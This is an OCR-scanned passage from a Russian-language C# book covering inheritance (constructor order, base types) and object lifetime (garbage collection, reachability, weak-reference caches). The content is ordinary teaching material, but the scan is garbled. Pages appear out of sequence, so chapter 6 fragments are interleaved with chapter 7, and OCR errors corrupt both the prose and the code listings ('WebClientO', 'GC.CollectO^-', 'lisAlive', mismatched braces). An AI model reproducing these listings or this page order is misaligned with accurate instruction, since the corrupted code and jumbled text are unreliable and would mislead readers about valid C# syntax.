сконструировать его, используя один из конструкторов базового класса. 307
Глава 6 следствие, увидеть, чтобы тип ValueType явно упоминался в коде наязы- ке С#, можно весьма редко. Все перечислимые типы тоже наследуют от общего абстрактного ба* зового типа *- System. Enum. Поскольку перечисления являются значимы*, ми типами, не должен вызывать удивления тот факт, что тип Enum наслй дует от ValueType. Как и в случае типа ValueType, наследование от тищ Enum никогда не выполняется явно — для этого используется ключева слово enum. В отличие от типа ValueType, Enum определяет несколько по лезных членов. Например, статический метод GetValues возвращает мае сив, содержащий все значения перечисления, а метод GetNames — масса со всеми значениями перечисления, преобразованными в строки. Также предлагается метод Parse, который преобразует строковое представлю ние обратно в значение перечисления. Как уже говорилось в главе 5, все массивы наследуют от общего ба- зового класса System. Array, а предлагаемые им возможности вы уже ви- дели. Базовый класс System.Exception играет особую роль: когда вы вы- брасываете исключение, C# требует, чтобы выбрасываемый объект при- надлежал к данному типу или к производному от него (исключениям посвящена глава 8). Все Типы делегатов наследуют от общего базового типа System. MulticastDelegate, который, в свою очередь, наследует от типа System.) Delegate. О них мы поговорим в главе 9. Все эти базовые типы система типов CTS считает специальными Помимо них существует еще один базовый тип, которому компилятор C# придает особое значение: System.Attribute. В главе 1 я применял к методам и классам определенные аннотации, чтобы сообщить фрейм- ворку модульного тестирования о необходимости обрабатывать эти эле- менты тем или иным особым образом. Каждый из атрибутов соответствует определенному типу; так, когда я применил к классу атрибут [Testclass], я использовал тип с именем TestClassAttribute. Ко всем типам, предназначенным для применения в качестве атрибутов, предъявляется требование наследовать от типа System. Attribute. Некоторые из них различает компилятор, как, напри- мер, типы, управляющие номером версии, помещаемым компилятором в заголовки создаваемых им .ехе- и .(///-файлов. Все эти типы мы обсу- дим в главе 15. - 314
Наследование Резюме C# поддерживает одиночное наследование реализации, и только для классов — наследовать от структуры нельзя вообще. Однако интерфей- сы могут объявлять несколько базовых интерфейсов, а класс — реализо- вывать несколько интерфейсов. Существуют неявные преобразования ссылок от производных типов к базовым, а обобщенные типы могут до- полнительно предложить неявные преобразования ссылок с использо- ванием ковариантности или контравариантности. Все типы наследуют от класса System. Object, что гарантирует доступность ряда стандартных членов для переменных любого типа. Мы рассмотрели, как виртуальные методы позволяют производным классам модифицировать избранные члены своих базовых классов и как запечатывание позволяет запретить их модификацию. Мы также обсудили отношения между производным и базовым типом при выполнении доступа к членам и в частности кон- структорам. 's ' Таким образом, наше изучение наследования окончено, однако оно подняло ряд новых вопросов, касающихся, например, отношений меж- ду значимыми типами и ссылками или роли финализаторов. Поэтому в следующей главе я расскажу о взаимосвязи между ссылками и жиз- ненным циклом объекта, а также о том, каким образов среда CLR лик- видирует разрыв между ссылками и значимыми типами.
Глава 7 ВРЕМЯ ЖИЗНИ ОБЪЕКТА Одним из преимуществ модели управляемого выполнения платфор- мы .NET является то, что среда выполнения может автоматизировать большую часть необходимой вашему приложению работы по управле- нию памятью. Во многих из приведенных ранее примеров выполняется создание новых объектов с помощью ключевого слова new, и ни в одном из этих примеров не производится явное освобождение занимаемой этими объектами памяти. В большинстве случаев для освобождения памяти не требуется вы- полнять никаких специальных действий. Среда выполнения предостав- ляет сборщик мусора, механизм, который автоматически выявляет уже неиспользуемые объекты и освобождает занимаемую ими память, что- бы ее можно было употребить для новых объектов. Однако определен- ные паттерны использования способны ухудшить производительность сборщика мусора или вообще стать препятствием для его работы, по- тому полезно иметь представление о том, как он функционирует. Это особенно важно для продолжительных процессов, выполнение которых может занимать несколько дней. (Для кратковременных процессов от- дельные утечки памяти не представляют большой угрозы.) Хотя большая часть кода может работать, не обращая внимания на сборку мусора, иногда бывает полезно получать уведомление перед удалением объекта из памяти, что в C# обеспечивается посредством деструкторов. Лежащий в их основе механизм среды выполнения, на- зываемый финализацией, содержит в себе ряд -«подводных камней», поэтому давайте посмотрим, как можно — и как нельзя — использовать деструкторы. Сборщик мусора предназначен для эффективного управления памя- тью, однако память является не единственным ограниченным ресурсом, с каким вам придется иметь дело. Некоторые объекты занимают неболь- шой объем памяти в среде CLR, но в то же время представляют нечто сравнительно дорогостоящее, например, соединение с базой данных или манипулятор API-интерфейса Win32. Сборщик мусора не всегда эффек- 316
Глава 6 Листинг в.Зв. Явный вызов базового конструктора public class BaseNoDefaultCtor { public BaseNoDefaultCtor(int i) ( Console.WriteLine("Базовый конструктор: " + i); } ) public class DerivedCallingBaseCtor : BaseNoDefaultCtor { public DerivedCallingBaseCtor() : base(123) { Console.WriteLine("Производный конструктор (default)"); } public DerivedCallingBaseCtor(int i) : base(i) ( Console.WriteLine("Производный конструктор: " + i); } } Производный класс в данном примере предоставляет конструктор без параметров, даже невзирая на то, что такого конструктора нет у ба- зового класса — этот конструктор вызывает конструктор базового клас- са, передавая ему фиксированное значение. Второй конструктор произ- водного класса передает конструктору базового свой аргумент. Часто можно слышать следующий вопрос: «Как мне предоста- л * вить несколько таких же конструкторов, как в базовом клас- Я?*‘се, которые только передают свои аргументы дальше?» Ответ звучит так: «Напишите все эти конструкторы вручную». В C# не существует способа заставить компилятор сгенерировать в производном классе набор конструкторов, идентичных кон- структорам базового класса. Это придется делать обычным утомительным способом. Как было показано в главе 3, инициализаторы полей класса запу- скаются раньше конструктора. В случае наследования картина немного усложняется из-за наличия нескольких классов и нескольких конструк- 310
Время жизни объекта тивно обращается с этими ресурсами, потому в настоящей главе я рас- скажу об интерфейсе IDisposable, который предназначен для работы с ресурсами, требующими более срочного освобождения, чем память. Управление временем жизни значимых типов часто выполняется по совершенно другим правилам — например, время жизни значений неко- торых локальных переменных ограничивается лишь временем выполне- ния вмещающего их метода. Тем не менее иногда значимые типы ведут себя так же, как ссылочные, и ими управляет сборщик мусора. В данной главе мы обсудим, почему такое может быть полезным, и рассмотрим механизм упаковки, который делает это возможным. Сборка мусора Среда CLR поддерживает кучу, службу, предоставляющую память для объектов и значений, временем жизни которых управляет сборщик мусора. Каждый раз, когда вы создаете экземпляр класса с помощью ключевого слова new, среда CLR выделяет для этого объекта новый блок кучи. Решение о том, когда следует освободить блок, принимает сбор- щик мусора. Блок кучи содержит все нестатические поля объекта. Среда CLR так- же добавляет заголовок, который ваша программа не видит напрямую. Данный заголовок включает указатель на структуру, описывающую тип объекта. Этот указатель поддерживает операции, зависящие от реаль- ного типа„6бъекта. Например, если вызвать метод GetType для ссылки типа object, среда CLR воспользуется указателем для выяснения типа объекта. Он также применяется, чтобы установить, какой метод следует использовать, при вызове виртуального метода или члена интерфейса. Среда CLR также применяет этот указатель, чтобы узнать размер бло- ка кучи — заголовок не включает размер блока, поскольку среда может выяснить его из типа объекта. (Большинство типов обладает фиксиро- ванным размером. Существуют лишь два исключения — строки и мас- сивы, которые среда CLR рассматривает как особый случай.) Заголовок содержит еще одно поле, использующееся для ряда различных целей, включая многопоточную синхронизацию и генерирование хэш-кодов по умолчанию. Заголовки блоков кучи являются лишь деталью реа- лизации, и в других реализациях общеязыковой инфраструктуры CLI может быть избран другой подход. Однако полезно знать, какие наклад- ные расходы влечет их использование. В 32-разрядных системах длина заголовка составляет 8 байт; при выполнении 64-разрядного процесса 317
Наследование торов. Самый простой способ предсказать, что произойдет в этом слу- чае, состоит в том, чтобы понять: несмотря на использование отдельного синтаксиса для инициализаторов экземплярных полей и конструкто- ров, весь код инициализации определенного класса в конечном итоге компилируется в конструктор. Этот код выполняет следующие шаги: сначала запускаются все ини- циализаторы полей, специфичные для данного класса (этот шаг не вклю- чает инициализаторы базовых полей — базовый класс сам позаботится о себе); затем вызывается конструктор базового класса; после чего, на- конец, выполняется тело конструктора. Следовательно, в производном классе инициализаторы экземплярных полей будут запускаться еще до выполнения какого-либо конструирования базового класса — не только до выполнения тела базового конструктора, но и до инициализации эк- земплярных полей базового класса. Это иллюстрирует листинг 6.37. Листинг 6.37. Исследование порядка конструирования , public class Baselnit ( protected static int Init(string message) ( Console.WriteLine(message); return 1; ) private int bl = Init("Базовое поле bl"); public Baselnit () ( Init("Базовый конструктор"); ) private int b2 = Init("Базовое поле Ь2"); ) public class Derivedlnit : Baselnit I private int dl = Init("Производное поле dl"); public Derivedlnit () ( Init("Производный конструктор"); ) private int d2 = Init("Производное поле d2"); 1 311
Глава? она равна 16 байтам. Таким образом, объект, который содержит хотя бы одно поле типа double (с размером в 8 байт), будет занимать 16 байт в 32-разрядном процессе и 24 байт в 64-разрядном. Хотя объекты (то есть экземпляры классов) всегда размещаются в куче, экземпляры значимых типов могут размещаться как в куче, так и в другом месте. Например, некоторые локальные переменные значимых типов среда CLR сохраняет в стеке, однако если такое значение находится в экземплярном поле класса, то, поскольку экземпляр класса размещается в куче, оно находится там же внутри этого объекта. А в некоторых случаях для значения значимого типа выделяется отдельный блок кучи. Если вы обращаетесь к чему-либо через переменную ссылочного типа, то вы обращаетесь к куче. Однако следует заметить, чту это не рас- пространяется на аргументы методов out или ref. Они представляют собой разновидность ссылки, однако, например, аргумент ref int явля- ется ссылкой на значимый тип, а это не то же самое, что ссылочный тип. Поэтому в данной дискуссии мы будем подразумевать под ссылкой то, что можно сохранить в переменной типа, производного от типа object, но не ValueType. Модель управляемого выполнения, которую использует язык C# (и все остальные языки платформы .NET), означает, что бреде CLR из- вестно о каждом блоке кучи, который создает ваш код, а также о каждом поле, переменной и элементе массива, где ваша программа сохраняет ссылки. Эта информация позволяет среде выполнения в любой момент определять, какие объекты являются достижимыми, то есть такими, к которым программа предположительно может получить доступ для использования их полей и других членов. Если объект недостижимый, то по определению программа уже никогда не сможет использовать его снова. Для иллюстрации того, как среда CLR определяет достижимость, в листинге 7.1 представлен простой метод, который извлекает страницы из моего блога. Листинг 7.1. Использование объектов и избавление от них public static string GetBlogEntry(string relativeUri) { var baseUri = new Uri( "http://www.interact-sw.co.uk/iangbfog/"); var fullUri = new Uri(baseUri, relativeUri); using (var w = new WebClientO) 318
Время жизни объекта { return w.Downloadstring(fullUri); } I Среда CLR анализирует то, как мы используем локальные перемен- ные и аргументы методов. Хотя аргумент relativeUri находится в об- ласти видимости на протяжении всего кода метода, мы применяем его лишь один раз, в качестве аргумента конструктора при создании второго объекта типа Uri, и ни разу после этого. Переменная считается активной от той точки, где она в первый раз принимает значение, и до той, где она используется в последний раз. Аргументы методов активны от начала метода до места их последнего использования; если они не используют- ся, то не бывают активными вообще. Переменные становятся активны- ми позже; переменная baseUri становится активной после присвоения^ ей начального значения и перестает быть активной после ее последнего применения, в той же точке, где и аргумент relativeUri. Характеристика активности играет важную роль в определении того, используется ли еще тот или иной объект. Чтобы посмотреть, какую роль играет активность объекта, давайте предположим, что когда среда CLR доходит до той строки, где созда- ется экземпляр типа WebClient, она не обладает достаточным объемом свободной памяти для размещения нового объекта. Конечно, среда вы- полнения может запросить больше памяти у операционной системы, но существует и другая возможность: она может попытаться освободить память от уже не нужных объектов, в результате чего программе не по- требуется использовать больше памяти, чем уже задействовано*. В сле- дующем разделе описывается процесс, используемый средой CLR в том случае, когда она выбирает эту вторую возможность. Определение достижимости объектов Среда CLR начинает с того, что находит все корневые ссылки про- граммы. Корень — это такая ячейка памяти, как, например, локальная переменная, которая может содержать ссылку, была проинициализи- рована, и может использоваться программой в некоторый момент в бу- * Среда CLR не всегда дожидается момента, когда ей начинает не хватать памяти. Подробности мы обсудим позже. Пока важным моментом является то, что время от вре- мени среда пытается высвободить некоторое дополнительное пространство. 319
Глава? дущем без необходимости переходить через другую объектную ссылку. Корнями считаются не все ячейки памяти. Если объект содержит эк- земплярное поле некоторого ссылочного типа, оно не является корнем, поскольку для того чтобы им воспользоваться, необходимо получить ссылку на вмещающий объект, и существует вероятность, что этот объ- ект недостижим. Однако статическое поле ссылочного типа является корневой ссылкой, поскольку программа может выполнить чтение его в любой момент — оно станет недоступным, лишь когда программа за- вершит свою работу. Локальные переменные представляют больше интереса (как и аргу- менты методов; все, что говорится в данном разделе о локальных пере- менных, в равной степени касается и аргументов). ^ногда они являются корнями, иногда нет. Это зависит от того, какая именно часть метода вы- полняется в данный момент. Локальная переменная может быть корнем, только когда поток выполнения находится в области активности этой переменной. Так, в листинге 7.1 переменная baseUri является корневой ссылкой в довольно узком промежутке между присвоением этой пере- менной начального значения и вызовом конструктора для создания вто- рого экземпляра типа Uri. Переменная fullUri остается корневой ссыл- кой чуть дольше, поскольку после того, как она становится активной, получив свое начальное значение, она продолжает оставаться таковой и во время конструирования объекта типа WebClient в следующей стро- ке; ее активность заканчивается лишь с вызовом метода Downloadstring. Если в последний раз переменная используется в качестве 4 аргумента метода или конструктора, она перестает быть ак- ——3>}тивной, когда вызывается метод. Управление передается ему, и в начале его работы активными оказываются его соб- ственные аргументы. Однако обычно они прекращают быть активными еще до завершения работы метода. Это означает, что в листинге 7.1 объект, на который ссылается переменная fullUri, может перестать быть доступным через корневые ссылки еще до того, как вызов метода Downloadstring возвра- тит управление. Поскольку по мере выполнения программы набор активных пере- менных изменяется, то изменяется и набор корневых ссылок, поэтому среде CLR требуется располагать возможностью сделать снимок реле- вантного состояния программы. Хотя точные детали незадокументиро- ваны, можно сказать, что при необходимости гарантировать корректное 320
Время жизни объекта поведение сборщик мусора может приостановить все потоки, которые выполняют управляемый код. Разновидности корней не ограничиваются активными переменными и статическими полями. Временные объекты, которые создаются в про- цессе вычисления выражений, должны оставаться активными до тех пор, пока вычисление не будет завершено, поэтому некоторые корневые ссыл- ки могут не соответствовать напрямую ни одной из присутствующих в коде именованных сущностей. Есть и другие виды корней. Например, класс GCHandle предоставляет возможность создавать корни явно, что используется, например, в сценариях интероперабельности для предо- ставления определенному фрагменту неуправляемого кода доступа к не- которому объекту. Также существуют ситуации, когда корни создаются неявно. При взаимодействии с COM-объектами (о них мы поговорим в главе 21) корневые ссылки могут создаваться и без явного использова- ния класса GCHandle — если среде CLR потребуется сгенерировать COM-z, * обертку для одного из ваших .NET-объектов, она, в сущности, будет корневой ссылкой. Вызовы неуправляемого кода также могут требовать передачи указателей на блоки кучи, а это означает, что на протяжении такого вызова соответствующий блок кучи должен оставаться достижи- мым. Спецификация общеязыковой инфраструктуры CLI не определяет все возможные способы возникновения корневых ссылок; также и сре- да CLR не предоставляет исчерпывающей документации обо всех видах корневых ссылок, которые она может создавать. Однако общий принцип таков: корни присутствуют, где необходимо гарантировать, что еще ис- пользующиеся объекты будут оставаться достижимыми. Составив полный список текущих корневых ссылок для всех пото- ков, сборник мусора определяет, какие из этих ссылок указывают на до- стижимые объекты. Он по очереди проверяет каждую ссылку, и если она не содержит значение null, следовательно, она указывает на достижи- мый объект. При этом могут встретиться и дубликаты — несколько кор- ней вполне способны ссылаться на один и тот же объект, потому сбор- щик мусора отслеживает, какие объекты он уже просмотрел. Обнаружив новый объект, он добавляет все экземплярные поля ссылочного типа, которыми тот располагает, в список ссылок, чтобы проверить их, опять же, отбрасывая возможные дубликаты (это в том числе включает любые генерируемые компилятором скрытые поля, как, например, поля для ав- томатических свойств, рассмотренных нами в главе 3). Следовательно, если объект достижим, то достижимы и все объекты, ссылки на которые он содержит. Сборщик мусора повторяет этот процесс до тех пор, пока 321
Глава 7 у него не кончатся новые ссылки, требующие проверки. Любые объекты, что не удастся обнаружить как достижимые, будут сочтены недостижи- мыми, поскольку сборщик мусора делает то же, что и программа: она может использовать только те объекты, к которым способна получить доступ прямо или косвенно через свои переменные, временные локаль- ные ячейки памяти, статические поля и другие корни. Вернемся к листингу 7.1: что все это будет значить, если среда CLR решит запустить сборщик мусора, когда мы конструируем экземпляр типа WebClient? Переменная fullUri в тот момент еще активна, потому объект Uri, на который она ссылается, является достижимым, однако переменная baseUri уже неактивна. Мы передаем копию переменной baseUri в конструктор второго объекта типа Uri, и если данный объект примет копию этой ссылки, то будет не важно, что переменная baseUri уже неактивна; пока существует тот или иной способ добраться до объ- екта, начав с корневой ссылки, объект является достижимым. Однако, как оказывается, второй объект Uri получает другую ссылку, поэтому первый объект Uri из этого примера окажется недостижимым, и среда CLR будет вольна освободить занимаемую им память. Важным следствием того, как сборщик мусора определяет достижи- мость объектов, является тот факт, что для него не представляют про- блем циклические ссылки. Это одна из причин использования в .NET сборки мусора, а не подсчета ссылок (данный. подход применяется в СОМ). В том случае, когда два объекта ссылаются друг на друга, схема подсчета ссылок посчитает, что оба используются, поскольку на каждый из них указывает как минимум одна ссылка. Однако они могут быть не- достижимы — при отсутствии каких-либо еще ссылок на такие объекты у приложения не будет никакой возможности их использовать. Подсчет ссылок не позволяет выявить такие объекты и потому может приводить к утечкам памяти, однако для схемы, применяемой сборщиком мусора среды CLR, то, что объекты ссылаются друг на друга, не имеет значе- ния, — он не сможет добраться ни до одного из них и потому правильно посчитает их неиспользуемыми. Ненамеренное создание препятствий для сборки мусора Хотя сборщик мусора может определить все пути, по которым про- грамма будет выполнять доступ'к объекту, у него нет никакого способа убедиться в том, что она непременно это сделает. Взгляните на пример 322
Время жизни объекта крайне неэффективного кода в листинге 7.2. Хотя вы вряд ли когда- нибудь напишете, настолько плохой код, он демонстрирует довольно распространенную ошибку. Обычно эта проблема проявляется не яв- ным образом, однако сначала мне хотелось бы показать ее более нагляд- но. После того как я продемонстрирую, каким образом она препятствует освобождению памяти сборщиком мусора от тех объектов, которые мы не собираемся больше использовать, я опишу и менее простой, но более реалистичный сценарий возникновения этой проблемы. Листинг 7.2. Чудовищно неэффективный фрагмент кода static void Main (string [] args) { var numbers = new List<string>(); long total =0; z for (int i = 1; i < 100000; ++i) { numbers.Add(i.ToString()); total += i; ) . Console.WriteLine("Сумма: {0}, среднее значение: {1}", total, total / numbers.Count); } Данный код складывает числа от 1 до 100 000, после чего выводит их среднее арифметическое. Первая ошибка здесь состоит в том, что нам даже не нужно было использовать цикл, поскольку для вычисления та- кой суммы можно использовать простое и хорошо известное решение в аналитйческом виде: и*(и+1)/2, где п в приведенном случае равно 100 000. Однако помимо этой математической оплошности, данный код совершает нечто еще более глупое: он составляет список, содержащий каждое добавляемое значение, но все, что он делает со списком, — из- влекает в конце свойство Count, чтобы вычислить среднее арифметиче- ское. Еще больше ухудшает положение вещей то, что перед помещением в список каждое число преобразуется в строку, хотя в дальнейшем эти строки не используются. Несмотря на всю искусственность примера, я не могу сказать, что мне не приводилось встречать столь же удручающе бессмысленные фрагменты кода в реальных программах. К сожалению, я не раз сталки- вался с реальными примерами кода, который был написан если не хуже, то, по крайней мере, не лучше, с тем лишь отличием, что в каждом из тех 323
Глава? случаев код был гораздо запутаннее — когда подобные вещи встречают- ся в реальной программе, обычно уходит не меньше получаса, чтобы по- нять, что в действительности программа делает нечто столь удивитель- но бессмысленное. Однако я привел данный пример не для того, чтобы посокрушаться о несоблюдении стандартов разработки программного обеспечения. Я привел его, чтобы показать, каким образом вы можете столкнуться с ограничениями сборщика мусора. Предположим, что цикл из листинга 7.2 уже некоторое время вы- полняется и находится, скажем, на своей 90 000-й итерации, собираясь добавить очередную строку в список numbers. Допустим, что объект типа List<string> уже исчерпал всю свою свободную емкость, и пото- му для выполнения метода Add необходимо разместить в памяти новый внутренний массив большего размера. В этот момент среда CLR может принять решение запустить сборщик мусора с целью высвободить до- полнительное пространство. Что тогда произойдет? / Код в листинге 7.2 создает три вида объектов: он конструирует объ- ект типа List<string> в самом начале, создает новый объект string на каждой итерации цикла путем вызова метода ToString () для значения типа int, а также не явным образом заставляет объект типа List<string> разместить в памяти массив типа string [ ] для хранения ссылок на стро- ки, и, поскольку количество элементов в массиве постоянно растет, при- ходится размещать в памяти все более крупные массивы. (Этот массив является деталью реализации типа List<string>, так что мы не можем увидеть его напрямую.) Таким образом, вопрос заключается в следую- щем: какие из объектов сможет удалить из памяти сборщик мусора, чтобы освободить пространство для более крупного массива при вызове метода Add? Переменная numbers остается активной до последней строки кода, а мы рассматриваем более раннее место программы, поэтому объект List<string> является достижимым. Тот объект массива string [ ], кото- рый используется объектом списка в настоящий момент, тоже должен быть достижимым: список размещает в памяти новый массив большего размера, однако в этот новый массив необходимо скопировать содер- жимое старого, потому в одном из полей списка должна по-прежнему храниться ссылка на текущий массив. Таким образом, данный массив является достижимым, что, в свою очередь, означает и достижимость каждой из строк, на которые он ссылается. Наша программа создала уже 90 000 строк, и сборщик мусора обнаружит их все; начав с переменной 324
Время жизни объекта numbers, он перейдет к полям объекта List<string>, на который ссылает- ся эта переменная, после чего просмотрит каждый элемент массива, на который ссылается одно из закрытых полей этого списка. Из всех размещенных в памяти элементов сборщику мусора удаст- ся собрать только старые массивы string[], созданные объектом List<string> раньше, когда его размер был меньше, и ссылок на которые он уже не содержит. К тому моменту, когда в список будет добавлено 90 000 элементов, увеличение его размера, вероятно, уже окажется вы- полнено достаточно много раз. Поэтому, в зависимости от того, когда в последний раз запускался сборщик мусора, он, вероятно, сможет вы- явить определенное количество неиспользуемых массивов. Однако го- раздо больший интерес в данном случае представляет то, какие объекты сборщик мусора не сможет удалить из памяти. Те 90 000 строк, которые создала к этому моменту программа, не ис> пользуются далее, потому в идеале сборщик мусора должен удалить их из памяти эти строки — они будут занимать несколько мегабайт. По- скольку программа очень короткая, мы легко видим, что они не исполь- зуются. Однако, сборщик мусора не сможет узнать об этом; он основы- вает свои решения на достижимости объектов и правильно определяет, что все 90 000 строк достижимы через переменную number^. Кроме того, с точки зрения сборщика мусора, вполне возможно, что свойство Count списка, которое мы используем по завершении выполнения цикла, бу- дет обращаться к содержимому списка. Конечно, мы с вами знаем, что свойство Count не станет такого делать, поскольку ни в чем подобном нет необходимости, однако мы знаем это, потому что нам известно назначе- ние данного свойства. Чтобы сборщик мусора мог сделать вывод, что программа не будет использовать элементы списка прямо или косвен- но, ему потребуется знать, что выполняет объект List<string> внутри своих методов Add и Count. Это означает выполнение анализа с гораздо большей степенью детализации, чем у тех механизмов, что я описал, что, в свою очередь, сделает операции сборки мусора намного более затрат- ными. Более того, даже с тем существенным увеличением сложности анализа, которое позволило бы сборщику мусора установить, какие из объектов не будут использоваться в данном примере, в более реалистич- ных сценариях он вряд ли смог бы сделать лучший прогноз, чем просто основываясь на достижимости. Например, с гораздо большей вероятностью с данной проблемой можно столкнуться при использовании кэша. Если у вас есть класс, 325
Глава? который кэширует затратные в извлечении или вычислении данные, представьте, что произойдет, если ваш код будет только добавлять элементы в кэш, но не удалять их. Все находящиеся в кэше данные останутся достижимыми до тех пор, пока будет достижимым сам объ- ект кэша. Проблема заключается в том, что кэш станет потреблять все больше и больше пространства, и если объем памяти вашего компью- тера не окажется достаточным для размещения всех необходимых для программы фрагментов данных, то рано или поздно вы столкнетесь с нехваткой памяти. По своей наивности некоторые разработчики могут заявить, что это проблема сборщика мусора. Раз сборщик мусора существует, чтобы мы могли не думать об управлении памятью, то с чего это вдруг мы должны сталкиваться с нехваткой памяти? Однако проблема состоит в том, что у сборщика мусора нет никакого способа узнать, удаление каких объ- ектов не представляет опасности. Он не обладает даром ясновидения и потому не сможет точно предсказать, какие из находящихся в кэше элементов потребуются вашей программе в дальнейшем. Если данный код работает на сервере, то использование кэша в дальнейшем может за- висеть от того, какие запросы получит сервер, и сборщик мусора никак не предскажет этдго. Потому, хотя и можно вообразить существование достаточно «умного» механизма управления памятью, способного вы- полнить анализ такого простого кода, как представлен в листинге 7.2, вообще говоря, это не та проблема, которую в силах решить сборщик мусора. Таким образом, если вы добавляете объекты в коллекции, не прекращающие оставаться достижимыми, сборщик мусора будет счи- т^тб'достижимым все их содержимое. Принимать решение об удалении этих элементов должны вы. Использование коллекций является не единственной ситуацией, когда вы можете поставить сборщик мусора в тупик. Как будет расска- зано в главе 9, существует еще один распространенный сценарий, в ко- тором небрежное использование событий способно привести к утечкам памяти. В более общем случае, если ваша программа предоставляет воз- можность получить доступ к объекту, то сборщик мусора никак не узна- ет, собираетесь ли вы использовать этот объект в дальнейшем, и потому будет вынужден проявлять осторожность. Однако все же есть одна техника, позволяющая — с некоторой по- мощью со стороны сборщика мусора — успешно бороться с этой про- блемой. 326
Время жизни объекта Слабые ссылки Хотя сборщик мусора будет переходить по обычным ссылкам в по- лях достижимого объекта, тохжркет содержать слабые ссылки. Сборщик мусора не переходит по слабым ссылкам, поэтому если перейти к объ- екту можно только по слабой ссылке, сборщик мусора обращается с ним так, как если бы он был недостижимым, то есть удаляет его. Слабая ссылка является способом сообщить среде CLR: «Не сохраняй этот объ- ект ради меня, но пока в нем нуждаются другие объекты, я тоже хотел бы иметь к нему доступ». Для управления слабыми ссылками в .NET применяются два клас- са. Класс WeakReference<T> появился в .NET 4.5. Если вы используе- те более старую версию .NET, вам потребуется необобщенный класс WeakReference. Новый класс, используя все преимущества обобщений, предоставляет более чистый API-интерфейс по сравнению с исходным, который был введен еще в .NET 1.0, до появления обобщений. В дей- ствительности у нового класса несколько иной API-интерфейс. Сначала мы рассмотрим этот класс, а затем поговорим о более старом классе. Листинг 7.3 демонстрирует кэш, который использует объект класса WeakReference<T>. ч Листинг 7.3. Использование слабых ссылок в кэше public class WeakCache<TKey, TValue> where TValue : class { private Dictionary<TKey, WeakReference<TValue» _cache = new Dictionary<TKey, WeakReference<TValue» (); public void Add(TKey key, TValue value) { _cache.Add(key, new WeakReference<TValue>(value)); } public bool TryGetValue(TKey key, out TValue cachedltem) { WeakReference<TValue> entry; if (_cache.TryGetValue(key, out entry)) { bool isAlive = entry.TryGetTarget(out cachedltem); if (lisAlive) { _cache.Remove(key); 327
Глава 7 } return isAlive; } else { cachedltem = null; return false; } Данный кэш сохраняет все значения через объект класса WeakReference<T>. Его метод Add просто передает объект, слабую ссылку на который необходимо создать, в качестве аргумента в конструктор но- вого объекта WeakReference<T>. Метод TryGetValue выпо^Аяет попытку извлечь значение, сохраненное ранее с помощью метода Add. Сначала он проверяет, содержит ли словарь соответствующую запись. Если это так, то значением записи будет объект WeakRef erence<T>, созданный нами ра- нее. Мы вызываем метод TryGetTarget этой слабой ссылки, который воз- вратит true, если объект еще доступен, и false, если он уже был учтен сборщиком мусора. Доступность не обязательно означает достижимость. Объект 4 * может стать недостижимым за время, прошедшее с момента 4?'* выполнения последней сборки мусора. Также вполне вероят- но, что после размещения объекта в памяти операция сборки мусора вообще не выполнялась. Для метода TryGetTarget не имеет значения, достижим ли объект в настоящий момент, для него важно лишь, был ли он уже учтен сборщиком му- сора. Если объект доступен, метод TryGetTarget предоставляет его через параметр out, и это уже будет сильной ссылкой. Таким образом, если данный метод возвращает значение true, нам можно не беспокоиться о возможном возникновении состояния состязания в дальнейшем, при котором данный объект стал бы недостижимым — благодаря тому, что мы сохранили эту ссылку в переменной, предоставленной вызывающей программой через аргумент cachedltem, она останется активной. Если ме- тод TryGetTarget возвращает значение false, из словаря удаляется соот- ветствующая запись, поскольку она представляет уже несуществующий объект. Код в листинге 7.4 испытывает наш кэш на практике. Чтобы мы 328
Время жизни объекта могли увидеть его в деле, данный код выполняет пару принудительных операций сборки мусора. Листинг 7.4. Испытание слабого кэша var cache = new WeakCache<string, byte[]>(); var data = new byte[100]; cache.Add("d", data); byte[] fromCache; Console.WriteLine("Извлечение: " + cache.TryGetValue("d", out fromCache)); Console.WriteLine("Та же ссылка? " + object.ReferenceEquals(data, fromCache)) ; fromCache = null; GC.CollectO^- Console. WriteLine ("Извлечение: " + cache.TryGetValue("d", out fromCache)) ;^ Console.WriteLine("Та же ссылка? " + object.ReferenceEquals(data, fromCache)) ; fromCache = null; data = null; GC.CollectO; Console.WriteLine("Извлечение: " + cache.TryGetValue("d", oht fromCache)); Console.WriteLine("Null? " + (fromCache == null)); Вначале здесь создается экземпляр класса кэша, после чего в него до- бавляется ссылка на массив из 100 байт. Ссылка на этот же массив так- же сохраняется в локальной переменной data; она остается активной до последнего использования ближе к концу данного кода, где ей присваи- вается значение null. Сразу после добавления значения в кэш код пы- тается извлечь его, после чего вызывает метод object.ReferenceEquals, чтобы убедиться, что оно ссылается на тот же объект, что и ссылка, ко- торую мы добавили в кэш. Затем выполняется принудительная сбор- ка мусора, и значение извлекается еще раз. (Подобный искусственный тестовый код представляет собой один из немногих случаев, когда это может потребоваться — подробности см. в разделе «Принудительная сборка мусора».) Поскольку переменная data по-прежнему содержит ссылку на массив и является активной, массив остается достижимым, и, соответственно, можно ожидать, что это значение по-прежнему будет доступно в кэше. Далее переменная data устанавливается в null, и, та- ким образом, данный массив становится недостижимым. Единственная остающаяся ссылка на него является слабой, поэтому можно ожидать, что он будет собран во время следующей операции сборки мусора, и по- следняя операция извлечения значения из кэша закончится неудачей. 329
Глава? Чтобы убедиться, мы проверяем основное возвращаемое значение, ожи- дая false, а также значение, возвращаемое через параметр out, которое должно равняться null. Запустив программу, можно убедиться в том, что именно так все и происходит: Извлечение: True Та же ссылка? True Извлечение: True Та же ссылка? True Извлечение: False Null? True Если вы используете старую версию .NET (4.0 или старше), то для создания слабой ссылки потребуется необобщенный класс WeakRef егепсе. Конструктор этого класса тоже принимает ссылку на/объект, слабую ссылку на который необходимо создать. Однако извлечение ссылки происходит несколько иначе. Данный класс предоставляет свойство isAlive, возвращающее false, если сборщик мусора определил, что объект уже не является достижи- мым. Обратите внимание: если это свойство возвратит true, нет гаран- тии, что объект все еще достижим. Данное свойство лишь сообщает о том, был ли объект уже учтен сборщиком мусора или'еще нет. Свойство Target класса WeakReference возвращает ссылку на объ- ект (поскольку это необобщенная версия, оно относится к типу object, и вам потребуется выполнить приведение типов). Данное свойство возвращает сильную (то есть обычную) ссылку, поэтому если вы со- храните ее в локальной переменной или в поле достижимого объекта либо просто используете ее значение в выражении, это снова сделает объект достижимым, потому можно не бояться, что объект будет удален в промежутке времени между извлечением ссылки из свойства Target и ее использованием. Однако существует состояние состязания между свойствами IsAlive и Target: вполне может случиться так, что сборка мусора будет выполнена в промежутке времени между проверкой свой- ства IsAlive и считыванием свойства Target, и объект окажется недо- ступен, несмотря на то что свойство IsAlive возвратило значение true. Если объект уже удален, свойство Target возвращает null, потому всег- да следует выполнять проверку на равенство этому значению. Свойство I sAl ive полезно лишь в том случае, когда требуется 